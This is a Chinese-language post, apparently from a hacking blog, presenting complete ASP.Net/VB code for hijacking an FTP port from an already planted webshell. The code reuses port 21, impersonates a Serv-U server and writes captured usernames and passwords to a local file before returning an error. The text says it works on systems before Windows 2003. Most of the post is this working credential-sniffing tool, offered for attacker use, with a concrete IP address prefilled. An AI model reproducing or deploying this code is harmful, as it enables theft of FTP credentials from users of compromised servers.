ASP.Net劫持FTP端口的代码

如果你有一个ASP.Net的webshell，那么恭喜你，至少权限比ASP的webshell大些。因为ASP.Net支持Socket，所以可以利用端口复用实现端口劫持。

    下面就是劫持21端口的ASP.Net代码，因为FTP协议传文件会新开端口，就没有用中间人方式而是拿到密码之后直接返回421错误。

    当然，Windows2003及之后的系统都不再支持端口复用了。

以下是引用片段：
<%@ Page Language="VB" Debug="true" %>
<%@ import Namespace="System.Threading" %>
<%@ import Namespace="System.Text" %>
<%@ import Namespace="System.Net" %>
<%@ import Namespace="System.Net.Sockets" %>
<%@ import Namespace="System.IO" %>
<script runat="server">
sub form_load(Src As Object, E As EventArgs)
        myip.Text=request.ServerVariables("LOCAL_ADDR")
end sub
    Sub BTN_Start_Click(sender As Object, e As EventArgs)
        Dim error_x as Exception
         Dim ipAddress As IPAddress = ipAddress.Parse(myIP.Text)
         Dim localEndPoint As New IPEndPoint(ipAddress, myport.Text)
         Dim listener As New Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
         listener.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReuseAddress, 1)
          try
         listener.Bind(localEndPoint)
         listener.Listen(100)
            While Not file.exists(server.mappath("snifferexit.dat"))
                If CheckBox1.Checked Then
                     Dim mywrite As New StreamWriter(server.mappath("snifferexit.dat"), True, Encoding.Default)
                     mywrite.Close()
                End If
                Dim mySocket As Socket = listener.Accept()
                ThreadPool.QueueUserWorkItem(New WaitCallback(AddressOf ThreadProc), mySocket)
            End While
             listener.Close()
        Catch error_x
            listener.Close()
             response.write(error_x)
        End Try
    End Sub

         Private Shared Sub ThreadProc(ByVal mySocket As Object)
             Dim msg As Byte()
             Dim bytes(1024) As Byte
             Dim i As Integer
             Dim num As Integer
             Dim xdata As String
             Try
                mySocket.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReceiveTimeout, 5000)
                 msg = Encoding.ASCII.GetBytes("220 Serv-U FTP Server v6.0 for WinSock ready..." & vbCrLf)
                 mySocket.Send(msg, msg.Length, 0)

                 mySocket.Receive(bytes, 0, 1024, 0)
                 xdata = (Encoding.ASCII.GetString(bytes))
                 If InStr(1, xdata, "user ", 1) > 0 Then
                     Dim mywrite As New StreamWriter("e:\\myweb\\myown\\a.txt", True, Encoding.Default)
                     mywrite.WriteLine(Mid(xdata, 1, InStr(xdata, vbCrLf)))
                     mywrite.Close()

                     msg = Encoding.ASCII.GetBytes("331 User name okay, need password." & vbCrLf)
                     mySocket.Send(msg, msg.Length, 0)
                 Else
                     msg = Encoding.ASCII.GetBytes("530 Not logged In.." & vbCrLf)
                     mySocket.Send(msg, msg.Length, 0)
                 End If
                 mySocket.Receive(bytes, 0, 1024, 0)
                 xdata = (Encoding.ASCII.GetString(bytes))
                 If InStr(1, xdata, "pass ", 1) > 0 Then
                     Dim mywrite As New StreamWriter("e:\\myweb\\myown\\a.txt", True, Encoding.Default)
                     mywrite.WriteLine(Mid(xdata, 1, InStr(xdata, vbCrLf)))
                     mywrite.Close()
                     msg = Encoding.ASCII.GetBytes("421 Too many users - please try again later." & vbCrLf)
                     mySocket.Send(msg, msg.Length, 0)
                 Else
                     msg = Encoding.ASCII.GetBytes("530 Not logged in.." & vbCrLf)
                     mySocket.Send(msg, msg.Length, 0)
                 End If

             Catch eee As Exception
                 msg = Encoding.ASCII.GetBytes("421 Maximum session time exceeded - closing." & vbCrLf)
                 mySocket.Send(msg, msg.Length, 0)
                 mySocket.Shutdown(SocketShutdown.Both)
                 mySocket.Close()
                 Exit Sub
             End Try
             mySocket.Shutdown(SocketShutdown.Both)
             mySocket.Close()
         End Sub

</script>
<html>
<head>
</head>
<body>
    <form runat="server">
        <p>
            <asp:Label id="Label1" runat="server">Simple FTP Sniffer by lake2</asp:Label>
        </p>
        <p>
            <asp:Label id="Label2" runat="server" width="60px">IP:</asp:Label>
            <asp:TextBox id="MyIP" runat="server">220.166.79.218</asp:TextBox>
             <asp:Label id="Label3" runat="server">Port</asp:Label> <asp:TextBox id="MyPort" runat="server" Width="40px">21</asp:TextBox>

            <br />
            <asp:CheckBox id="CheckBox1" runat="server" Text="Only sniff one time"></asp:CheckBox>
        </p>
        <p>
            <asp:Label id="Label4" runat="server">Note: If exit , create the file "snifferexit.dat"
            in current</asp:Label>
        </p>
        <p>
            <asp:Button id="BTN_Start" onclick="BTN_Start_Click" runat="server" Width="77px" Text="Start"></asp:Button>
        </p>
        
    </form>
</body>
</html>